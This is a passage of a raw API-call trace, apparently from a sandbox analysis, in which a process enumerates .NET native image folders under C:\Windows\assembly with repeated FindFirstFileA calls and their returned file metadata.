ftCreationTime.dwLowDateTime=0x3ca6ad0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xfa68c60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfa68c60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.436] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio49d6fefe#\\a76e4f0828cb0bb42b1625e8c418469c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ca6ad0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xfa68c60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfa68c60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.443] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio4b37ff64#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3db1470, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xfa68c60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfa68c60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.448] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio4b37ff64#\\48a9e17008fb5ff0cc339205f2872cd8\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3db1470, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xfa8edc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfa8edc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.455] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio53a7a42c#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3fec910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xfa8edc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfa8edc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.460] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio53a7a42c#\\7abd8bf8eb07e63ec435ce4f9cee63f2\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3fec910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xfa8edc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfa8edc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.467] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio5ae0f00f#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14c70b60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xfab4f20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfab4f20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.473] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio5ae0f00f#\\378968b941a4c3678b1b9977b2010cfc\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b762ba0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xfab4f20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfab4f20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.479] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio84a6349c#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30015f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xfadb080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfadb080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.484] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio84a6349c#\\040f43d5b6953927a95b69ea63419132\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30015f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xfadb080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfadb080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.489] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio84a7b877#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342bc70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xfadb080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfadb080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.495] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatio84a7b877#\\caf22b4f10f73f9d6034ca4170ed7118\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342bc70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xfb011e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfb011e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.500] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatiob3047ded#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x157e5540, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xfb011e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfb011e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.506] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatiob3047ded#\\536ae5b35c821c6552d84b30b37bbc76\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa53e5220, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xfb011e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfb011e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.515] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatiod51afaa5#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15133760, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xfb27340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfb27340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.520] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Presentatiod51afaa5#\\df266faa13246b82bf5ccb61f0a34576\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa08c3bc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xfb27340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfb27340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.527] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\PresentationCore\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1046f1e0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xfb4d4a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfb4d4a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.535] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\PresentationCore\\cc5597c4cd1c40ee90289bec6a96ccea\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ff97a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xfb4d4a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfb4d4a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.541] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\PresentationUI\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47a9090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xfb73600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfb73600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.546] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\PresentationUI\\b9f5e214df8d547c90d11822f4f862f3\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47a9090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xfb73600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfb73600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.553] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\ReachFramework\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f04870, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xfb73600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfb73600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0245.558] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\ReachFramework\\4bf9276371a4b5741a62270598858af0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f04870, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xfb99760, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfb99760, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0245.569] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\SMDiagnostics\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16e10220, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xfb99760, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xfb99760, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.542] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\SMDiagnostics\\a975b6c5a662c3ec2680fad92297dca9\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ace5e0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x104869e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x104869e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.585] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\SMSvcHost\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a2530, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0x105450c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x105450c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.590] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\SMSvcHost\\4f305ba7b576bf553ec8e00b07e9604c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a2530, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0x1056b220, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1056b220, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.595] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43ebea0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1056b220, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1056b220, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.600] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93451040, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x10591380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10591380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.606] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Acti2661942e#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x914d930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10591380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10591380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.611] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Acti2661942e#\\0ade7f4141ffc2f62fc25ad38489b857\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x914d930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10591380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10591380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.617] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Acti31fd6628#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a4f890, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x105b74e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x105b74e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.631] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Acti31fd6628#\\8db4f8aeb6d79278c3a99777c3966be6\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a4f890, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x105b74e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x105b74e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.641] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Actif3565cbd#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacad630, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x105dd640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x105dd640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.647] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Actif3565cbd#\\2096f77aa2e26bac9b94864f3d38c6d7\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacad630, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x105dd640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x105dd640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.652] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Activities\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b6ef10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x106037a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x106037a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.658] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Activities\\d8b4c694accc840eeaf3dd6f66fa3e1a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b6ef10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x106037a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x106037a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.664] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.AddI3d71a354#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc42ef70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10629900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10629900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.669] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.AddI3d71a354#\\583adb5be4d0f616f4f5f138ff3c4c89\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc42ef70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10629900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10629900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.675] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.AddIn\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3392b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x10629900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x10629900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.680] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.AddIn\\23f5b2f3416126f4f8e4da490785020c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3392b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1064fa60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1064fa60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0246.687] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Comp46f2b404#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20e4ab00, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1064fa60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1064fa60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0246.692] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Comp46f2b404#\\5cf46282ab0134bde4d77e6deaad7f11\\*", 